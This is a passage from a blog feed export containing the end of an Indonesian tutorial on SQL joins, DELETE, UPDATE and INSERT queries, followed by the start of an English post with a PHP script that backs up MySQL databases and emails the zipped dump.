<p>Saat menggabung dua tabel, SQL server tidak langsung mengerti hubungan antar dua tabel tersebut. Artinya anda harus menuliskan <em>common key </em>yang digunakan dalam penggabungan ini. Contohnya, untuk menampilkan daftar buku dan penerbitnya dari tabel <strong>titles </strong>dan <strong>publishers</strong>, dapat anda gunakan query berikut ini.</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT title, pub_name</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles, publishers</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">WHERE titles.pub_id = publishers.pub_id</pre>
</pre>
<p>Hasilnya adalah sebagai berikut:</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------------------------------------+----------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| title                                              | pub_name       |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------------------------------------+----------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">...</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| PSD                                                | Prentice Hall  |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| The Java Solution Guide                            | Prentice Hall  |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 13th Arrl Digital Communications Conference        | Prentice Hall  |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 15th Arrl and Tapr Digital Communications Conferen | Prentice Hall  |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Unix Networking Programming                        | Sams           |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Termcap &amp; terminfo                                 | Sams           |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Using C on the Unix System                         | Sams           |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| SCO in a Nitshell                                  | Sams           |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Radio Communication                                | Sams           |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| The Programming Language                           | Sams           |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Z80 Apllication                                    | Sams           |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| The New IEEE Standard Dictionary of Electrical and | Sams           |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Wireless Digital Communicators Design and Theory   | Sams           |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Building A Sucessful Software Business             | Sams           |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Mathcad 4.0                                        | Sams           |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 15th Arrl andTapr Digital Communications Conferenc | Sams           |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------------------------------------+----------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">174 rows in set (0.03 sec)</pre>
</pre>
<p>Jika anda lupa untuk mencantumkan <em>common key</em> pada join, anda akan mendapatkan hasil yang sangat banyak yang merupakan daftar yang berisi iterasi judul buku untuk setiap baris penerbit.</p>
<h3><a name="_Toc466784050">Menghapus record dengan Delele Query</a></h3>
<p>Untuk menghapus suatu record dengan kriteria tertentu, gunakan query berikut ini</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">DELETE FROM nama-tabel WHERE kriteria</pre>
</pre>
<p>Misalnya jika anda hendak menghapus record judul buku pada tabel <strong>titles</strong> yang memiliki harga di bawah $20, gunakan query berikut ini:</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=DELETE&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">DELETE</a> <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=FROM&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">FROM</a> titles <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=WHERE&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">WHERE</a> price &lt; 20</pre>
</pre>
<p>Untuk medelete seluruh record pada suatu tabel, gunakan perintah DELETE tanpa menentukan kriterianya, seperti :</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=DELETE&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">DELETE</a> <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=FROM&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">FROM</a> nama-<a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=table&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">table</a></pre>
</pre>
<h3><a name="_Toc466784051">Modifikasi record dengan Update query</a></h3>
<p>Untuk memodifikasi nilai kolom dari suatu record, gunakan query UPDATE seperti berikut ini.</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=UPDATE&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">UPDATE</a> nama-tabel</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=SET&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">SET</a> nama-kolom1=nilai-baru1, nama-kolom2=nilai-baru2,...</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=WHERE&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">WHERE</a> kriteria</pre>
</pre>
<p>Contohnya jika anda hendak memodifikasi nilai harga buku menjadi 50% untuk buku yang harganya masih berada di bawah $20, gunakan query</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=UPDATE&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">UPDATE</a> titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=SET&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">SET</a> price=price * 1.5</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=WHERE&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">WHERE</a> price &lt; 20</pre>
</pre>
<p>Untuk memodifikasi nilai suatu kolom secara keseluruhan, gunakan query UPDATE tanpa kriteria, misalnya</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=UPDATE&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">UPDATE</a> titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=SET&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">SET</a> price=100</pre>
</pre>
<p>Query ini akan meneybabkan seluruh harga buku pada tabel <strong>titles</strong> menjadi $100.</p>
<h3><a name="_Toc466784052">Menambah record dengan INSERT</a></h3>
<p>Untuk menambah record pada suatu tabel, gunakan query INSERT berikut ini</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=INSERT&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">INSERT</a> <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=INTO&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">INTO</a> nama-tabel</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">(kolom1, kolom2, ... kolomn)</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=VALUES&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">VALUES</a> (nilai1, nilai2, ... nilain)</pre>
</pre>
<p>Misalnya untuk menambahkan data berikut ini</p>
<ul>
<li>Nomor Indentifikasi Buku PE0034</li>
<li>Judul Buku &#8220;Visual C++ 5.0, The Complete Refference&#8221;</li>
<li>Jenis Buku &#8220;PEMROGRAMAN&#8221;</li>
<li>Penerbit Osborne (kode 102)</li>
</ul>
<p>Maka pada tabel <strong>titles</strong>, gunakan query berikut ini:</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=INSERT&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">INSERT</a> <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=INTO&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">INTO</a> titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">(title_id, title, type, pub_id, price, advance, royalty, ytd_sales, notes, pubdate)</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=VALUES&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">VALUES</a></pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">('<span style="color: #8b0000">PE0034</span>', '<span style="color: #8b0000">Visual C++ 5.0, The Complete Refference</span>', '<span style="color: #8b0000">PEMROGRAMAN</span>', '<span style="color: #8b0000">102</span>',34,0,0,0,'<span style="color: #8b0000"> </span>', 1998)</pre>
</pre>
<p>Insert query dapat juga dituliskan tanpa nama-nama field seperti di atas, asalkan jumlah field parameter yang anda cantumkan pada keyword VALUES sama dengan jumlah field yang ada ada tabel yang sedang anda insertkan. Misalnya</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=INSERT&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">INSERT</a> <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=INTO&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">INTO</a> titles <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&amp;siteid=us%2Fdev&amp;p=1&amp;nq=NEW&amp;qu=VALUES&amp;IntlSearch=&amp;boolean=PHRASE&amp;ig=01&amp;i=09&amp;i=99">VALUES</a></pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">('<span style="color: #8b0000">PE0034</span>', '<span style="color: #8b0000">Visual C++ 5.0, The Complete Refference</span>', '<span style="color: #8b0000">PEMROGRAMAN</span>', '<span style="color: #8b0000">102</span>',34,0,0,0,'<span style="color: #8b0000"> </span>', 1998)</pre>
</pre>
<div class="zemanta-related">
<h6 class="zemanta-related-title" style="font-size: 1em">Related articles by Zemanta</h6>
<ul class="zemanta-article-ul">
<li class="zemanta-article-ul-li"><a href="http://www.nofluffjuststuff.com/blog/cal_evans/2009/07/mysql_workbench__a_superficial_review.html?utm_source=blogitem&amp;utm_medium=rss&amp;utm_campaign=blogrss">MySQL Workbench &#8211; A Superficial Review </a>(nofluffjuststuff.com)</li>
<li class="zemanta-article-ul-li"><a href="http://petewarden.typepad.com/searchbrowser/2009/06/the-sql-trap.html">The SQL Trap </a>(petewarden.typepad.com)</li>
<li class="zemanta-article-ul-li"><a href="http://writer.fitzhome.com/software/book-review-learning-sql-second-edition-by-alan-beaulieu/">Book Review: Learning SQL, Second Edition by Alan Beaulieu </a>(writer.fitzhome.com)</li>
</ul>
</div>
<div class="zemanta-pixie" style="margin-top: 10px; height: 15px;"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/e1e0f964-768e-4f17-8471-466b420c8102/"><img class="zemanta-pixie-img" style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" src="http://img.zemanta.com/reblog_e.png?x-id=e1e0f964-768e-4f17-8471-466b420c8102" alt="Reblog this post [with Zemanta]" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/07/membuat-sistem-gps-tracking/" rel="bookmark">Membuat Sistem GPS Tracking</a></li><li><a href="http://www.dijexi.com/2009/08/how-to-mix-segment-and-query-string-in-codeigniter/" rel="bookmark">How to Mix Segment and Query String in CodeIgniter</a></li><li><a href="http://www.dijexi.com/2009/07/gps-tracking-monitoring-application-with-google-map/" rel="bookmark">GPS Tracking Monitoring Application with Google Map</a></li><li><a href="http://www.dijexi.com/2009/08/how-to-use-codeigniter-pagination-class-with-database/" rel="bookmark">How To Use CodeIgniter Pagination Class with Database</a></li><li><a href="http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/" rel="bookmark">MySQL Transpose Row Into Column</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fmenguasai-structured-query-language-sql%2F&amp;linkname=Menguasai%20Structured%20Query%20Language%20%28SQL%29"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/menguasai-structured-query-language-sql/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>MySQL Backup to Email</title>
		<link>http://www.dijexi.com/2009/07/mysql-backup-to-email/</link>
		<comments>http://www.dijexi.com/2009/07/mysql-backup-to-email/#comments</comments>
		<pubDate>Fri, 03 Jul 2009 08:52:55 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[mdaemon]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/mysql-backup-to-email/</guid>
		<description><![CDATA[Image via CrunchBase This simple PHP script can be used to backup MySQL databases and then send the zipped backup file to email addresses. The backup file can then be restored by any MySQL front end program like the mysql command line, Navicat MySQL, or phpMyAdmin. The logic of the script is really simple: initialization [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><div style="margin: 1em; width: 210px; display: block; float: right" class="zemanta-img"><img style="border-bottom: medium none; border-left: medium none; display: block; border-top: medium none; border-right: medium none" alt="Image representing MySQL as depicted in CrunchBase" src="http://www.crunchbase.com/assets/images/resized/0000/1681/1681v1-max-450x450.png" width="162" height="84" />
<p style="font-size: 0.8em" class="zemanta-img-attribution">Image via <a href="http://www.crunchbase.com/">CrunchBase</a></p>
</p></div>
<p>This simple <a class="zem_slink" title="PHP" href="http://php.net/" rel="homepage">PHP</a> script can be used to backup <a class="zem_slink" title="MySQL" href="http://www.mysql.com/" rel="homepage">MySQL</a> databases and then send the zipped backup file to email addresses. The backup file can then be restored by any MySQL front end program like the mysql command line, <a class="zem_slink" title="Navicat" href="http://www.navicat.com/" rel="homepage">Navicat</a> MySQL, or <a class="zem_slink" title="PhpMyAdmin" href="http://www.phpmyadmin.net/" rel="homepage">phpMyAdmin</a>.</p>
<p>The logic of the script is really simple:</p>
<ol>
<li>initialization </li>
<li>create backup sql file </li>
<li>zip the file </li>
<li>send email </li>
</ol>
<p> <span id="more-505"></span>To do the backup automatically you can run the script through cron (*nix) or <a class="zem_slink" title="Task Scheduler" href="http://en.wikipedia.org/wiki/Task_Scheduler" rel="wikipedia">Task Scheduler</a> (<a class="zem_slink" title="Windows" href="http://www.microsoft.com/WINDOWS" rel="homepage">Windows</a>) as described in next section.
</p>
<p>This script uses PHP PEAR library so you need PEAR installed with the Mail and Mail_Mime packages. Read more about PEAR here: <a href="http://pear.php.net/">http://pear.php.net</a>.</p>
<p>This script utilize a ZIP.exe command line program to do the compressing which can be downloaded from <a href="http://stahlforce.com/dev/index.php?tool=zipunzip">http://stahlforce.com/dev/index.php?tool=zipunzip</a>. In *nix environtment you can use tar command line instead to create a tgz file.</p>
<p>Make sure you have write access to the $tmpDir directory.</p>
<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 500px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px">
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #0000ff">&lt;?</span>php
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000">/*********************************************************************\
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">initialization
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">\*********************************************************************/</span>
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #ffa500" href="http://www.php.net/ini_set">ini_set</a>('<span style="color: #8b0000">SMTP</span>','<span style="color: #8b0000">smtp.telkom.net</span>');
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #0000ff" href="http://www.php.net/require_once">require_once</a>('<span style="color: #8b0000">Mail.php</span>');
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #0000ff" href="http://www.php.net/require_once">require_once</a>('<span style="color: #8b0000">Mail/mime.php</span>');
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000">// mysql &amp; minor details..</span>
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$mysqlbinpath    = &quot;<span style="color: #8b0000">c:/xampp/mysql/bin</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$tmpDir        = &quot;<span style="color: #8b0000">c:/temp</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$zip        = &quot;<span style="color: #8b0000">c:/xampp/zip/zip.exe</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$user        = &quot;<span style="color: #8b0000">root</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$password    = &quot;<span style="color: #8b0000">pwd</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$dbName        = &quot;<span style="color: #8b0000">db</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$sqlFiles    = &quot;<span style="color: #8b0000"></span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000">//databases to backup</span>
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$dbs        = <a style="color: #ffa500" href="http://www.php.net/array">array</a> ('<span style="color: #8b0000">cibpdb</span>', '<span style="color: #8b0000">mysql</span>');
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000">// email settings...</span>
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$to            = &quot;<span style="color: #8b0000">anemail@gmail.com</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$from        = &quot;<span style="color: #8b0000">anemail@gmail.com</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$subject    = &quot;<span style="color: #8b0000">db - backup</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$attachment    = $tmpDir.'<span style="color: #8b0000">/backup-</span>'.<a style="color: #ffa500" href="http://www.php.net/date">date</a>('<span style="color: #8b0000">Y_M_d-H_i_s</span>') . &quot;<span style="color: #8b0000">.zip</span>&quot;; <span style="color: #008000">// or tgz in *nix</span>
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000">/*********************************************************************\
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">create backup sql file and the zip
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">\*********************************************************************/</span>
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #0000ff" href="http://www.php.net/foreach">foreach</a> ($dbs <a style="color: #0000ff" href="http://www.php.net/as">as</a> $dbname)
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">{
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$sqlFile    = $tmpDir.'<span style="color: #8b0000">/</span>'.$dbname.'<span style="color: #8b0000">-</span>'.<a style="color: #ffa500" href="http://www.php.net/date">date</a>('<span style="color: #8b0000">Y_m_d</span>').&quot;<span style="color: #8b0000">.sql</span>&quot;;
</pre>
